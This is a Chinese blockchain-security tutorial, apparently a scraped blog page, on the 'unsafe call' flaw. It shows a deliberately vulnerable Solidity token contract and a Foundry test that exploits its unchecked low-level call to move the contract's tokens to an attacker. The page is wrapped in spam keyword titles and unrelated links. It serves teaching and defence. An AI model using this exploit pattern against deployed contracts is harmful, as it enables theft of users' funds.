当前位置: 首页 > news >正文

施工合同在哪个建设网站下载网站cdn加速怎么入侵

施工合同在哪个建设网站下载,网站cdn加速怎么入侵,自己做公众号和小说网站推广,wordpress增加评论验证码区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任…

区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability

    • 1.1 漏洞合约
    • 1.2 漏洞分析
    • 1.3 攻击步骤分析
    • 1.4 攻击合约

Name: 不安全调用漏洞 (Unsafe Call Vulnerability)

重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码,例如调用 transfer 函数将资金转移给攻击者,从而实现重入攻击并窃取资金。

1.1 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述:
在 TokenWhale 合约的 approveAndCallcode 函数中,该漏洞允许执行任意调用,并传入任意数据,从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData)),在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时,输入和返回值未被检查的低级调用漏洞。
如果调用数据可控,则很容易引发任意函数执行。缓解措施:
应尽可能避免使用低级调用 "call"。参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/import "forge-std/Test.sol";contract TokenWhale {address player;uint256 public totalSupply;mapping(address => uint256) public balanceOf;mapping(address => mapping(address => uint256)) public allowance;string public name = "Simple ERC20 Token";string public symbol = "SET";uint8 public decimals = 18;function TokenWhaleDeploy(address _player) public {player = _player;totalSupply = 1000;balanceOf[player] = 1000;}function isComplete() public view returns (bool) {return balanceOf[player] >= 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] -= value;balanceOf[to] += value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] >= value);require(balanceOf[to] + value >= balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] = value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] >= value);require(balanceOf[to] + value >= balanceOf[to]);require(allowance[from][msg.sender] >= value);allowance[from][msg.sender] -= value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] = _value;bool success;// vulnerable call execute unsafe user code(success, ) = _spender.call(_extraData);console.log("success:", success);}
}

1.2 漏洞分析

approveAndCallcode()函数中的call可以调用_spender地址的任意函数。

请添加图片描述

1.3 攻击步骤分析

  1. 调用 approveAndCallcode 函数,将 _spender 参数设置为 TokenWhaleContract 合约的地址。
    在这里插入图片描述
  2. _extraData 参数设置为 transfer 函数的函数签名及其参数,触发低级调用 call,从而执行 transfer 函数,实现重入攻击。
    在这里插入图片描述
  3. 输出结果
    在这里插入图片描述

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./UnsafeCall.sol";contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract = new TokenWhale();Koko = vm.addr(1);Aquarius = vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract = new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log("TokenWhale balance:",TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);bytes memory _extraData = abi.encodeWithSignature("transfer(address,uint256)",address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log("Attack success!!");TokenWhaleBalance = TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log("TokenWhale Balance:", TokenWhaleBalance);AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);}
}
http://www.yayakq.cn/news/579193/

相关文章:

  • 网站301做下上海市浦东新区建设工程安全质量监督站网站
  • 沧州网站优化价格宁波妇科最有名的医院
  • 珠海网站排名提升市场调研报告的基本框架
  • 空间类网站价格洛阳网站设计
  • 台州建设工程网站如何看网站排名
  • 东莞旅游网站建设下载 做网站的原型文件
  • 好看的设计网站东莞智通人才网
  • 贵州省住房和城乡建设厅官方网站网络彩票网站建设
  • 华艺网络网站开发个人网站公司网站区别经营区别
  • 比较好的网站建设论坛中国核工业集团有限公司
  • 免费网站域名空间荷城网站设计
  • 儿童故事网站建设深圳seo优化外包公司
  • 网站建设公司怎么发展开县网站建设
  • 网站建设实验原理查询网站备案
  • 有意义网站网站建设及维护机
  • 网站建设和域名备案图片的制作方法
  • 大型公司网站制作设计高端的国外网站
  • 电脑网站打不开怎么解决软件开发哪里学
  • 重庆网站制作公司哪家好wordpress目录重写
  • 无锡公共工程建设中心网站软件科技公司网站模板下载
  • 网站建设公司一月赚多少什么企业需要做网站
  • 企业网站后台源代码平安区wap网站建设公司
  • 搭建wordpress站点招远 两学一做 网站
  • 网站程序上传工具wordpress 活动未开始
  • 三合一网站建设平台客户关系管理案例经典
  • 模板建站oem代理网站空间租赁 排名
  • 网站推广每天必做的流程官网站内优化怎么做
  • 专门做网页设计网站课程视频网站建设的必要性
  • 怎么建网站平台卖东西音速企业名录搜索软件
  • 网站空间权限益阳seo快速排名